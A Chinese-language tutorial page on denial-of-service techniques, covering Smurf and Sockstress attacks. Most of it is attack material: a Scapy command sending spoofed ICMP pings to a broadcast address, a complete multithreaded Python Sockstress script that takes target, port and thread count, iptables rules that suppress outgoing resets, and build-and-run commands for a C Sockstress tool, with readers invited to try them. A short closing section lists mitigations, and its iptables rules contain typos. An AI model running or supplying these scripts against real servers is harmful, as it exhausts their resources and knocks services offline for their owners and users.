网站首页 > 教程文章 正文
Smurf攻击
- 世界上最古老的DDoS攻击技术
- 向广播地址发送伪造源地址的ICMP echo Request(ping)包
- LAN所有计算机向伪造源地址返回响应包
- 对现代操作系统已经失效(不响应目标为广播的ping)
- Scapy
i=IP()
i.dst="1.1.1.255"
p=ICMP()
p.display()
r=(i/p)
send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)
- 这个不演示了,仅仅当作学习原理,大家自己可以尝试下
Sockstress
- 2008年由Jack C.Louis发现
- 针对TCP服务的拒绝服务攻击
- 消耗被攻击目标系统的资源
- 与攻击目标建立大量socket链接
- 完成三次握手,最后的ACK包window大小为0(客户端不接受数据)
- 攻击者资源消耗小(CPU、内存、带宽)
- 异步攻击,单机可拒绝服务高配资源服务器
- Window窗口实现的TCP流控
脚本如下:
#! /usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法:./syn_flood.py [IP地址] [端口] [线程数]"
print "举例:./syn_flood.py 1.1.1.1 80 20 ## 请确定被攻击端口处于开放状态"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻击函数
def sockstress(target,dstport):
while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
except:
pass
## 停止攻击函数
def shutdown(signal, frame):
print '正在恢复 iptables 规则'
os.system('iptables -D OUTPUT -p TCP --tcp-flags RST RST -d ' + target + ' -j DROP')
sys.exit()
## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT,shutdown)
##多线程攻击
print "\n攻击正在进行...按Ctrl+C停止攻击"
for X in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
##永远执行
while 0 == 0:
sleep(1)
自己去执行尝试即可,这里不做详细演示;
C攻击脚本
- https://github.com/defuse/sockstress
- gcc -Wall -c sockstress.c
- gcc -pthread -o sockstress sockstress.o
- ./sockstress 1.1.1.1:80 eth0
- ./sockstress 1.1.11:80 eth0 -p payloads/http
防火墙规则:(用C的话提前写这个防火墙规则)
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP
防御措施
- 直到今天sockstress攻击仍然是一种有效的DoS攻击方式
- 由于建立完成的TCP三步握手,因此使用syn cookie防御无效
- 根本的防御方法是采用白名单(不实际)
- 折中对策:限制单位时间内每IP建立的TCP连接数
- 封杀每30秒与80端口建立连接超过10个的IP地址
iptables -l INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -l INPUI -P tcp --dport 80 -m state --state NEW -m recent -- update --seconds 30 --hitcount 10 -j DROP
- 以上规则对DDoS攻击无效
- 上一篇: TCP/IP攻击详细解释_tcp flag攻击
- 下一篇: SYN洪水攻击:让服务器不堪重负的欺诈行为
猜你喜欢
- 2025-08-21 TCP协议原理,有这一篇就够了_tcp协议技术
- 2025-08-21 TCP三次握手和四次挥手详解_tcp三次握手的作用
- 2025-08-21 深入解析常见三次握手异常_深入解析常见三次握手异常行为
- 2025-08-21 连肝7个晚上,总结了66条计算机网络的知识点
- 2025-08-21 Linux实例常用内核网络参数介绍与常见问题处理
- 2025-08-21 01-安装配置maxscale-6.0,mysql中间件
- 2025-08-21 TCP 的三次握手,四次挥手和重要的细节—干货满满,建议细读
- 2025-08-21 Linux使用中的一些问题及解决过程(记录1)
- 2025-08-21 DDOS攻击会带来什么危害?有什么应对策略?
- 2025-08-21 浅析大规模DDOS防御架构 应对T级攻防(1)
- 最近发表
- 标签列表
-
- location.href (44)
- document.ready (36)
- git checkout -b (34)
- 跃点数 (35)
- 阿里云镜像地址 (33)
- qt qmessagebox (36)
- mybatis plus page (35)
- vue @scroll (38)
- 堆栈区别 (33)
- 什么是容器 (33)
- sha1 md5 (33)
- navicat导出数据 (34)
- 阿里云acp考试 (33)
- 阿里云 nacos (34)
- redhat官网下载镜像 (36)
- srs服务器 (33)
- pico开发者 (33)
- https的端口号 (34)
- vscode更改主题 (35)
- 阿里云资源池 (34)
- os.path.join (33)
- redis aof rdb 区别 (33)
- 302跳转 (33)
- http method (35)
- js array splice (33)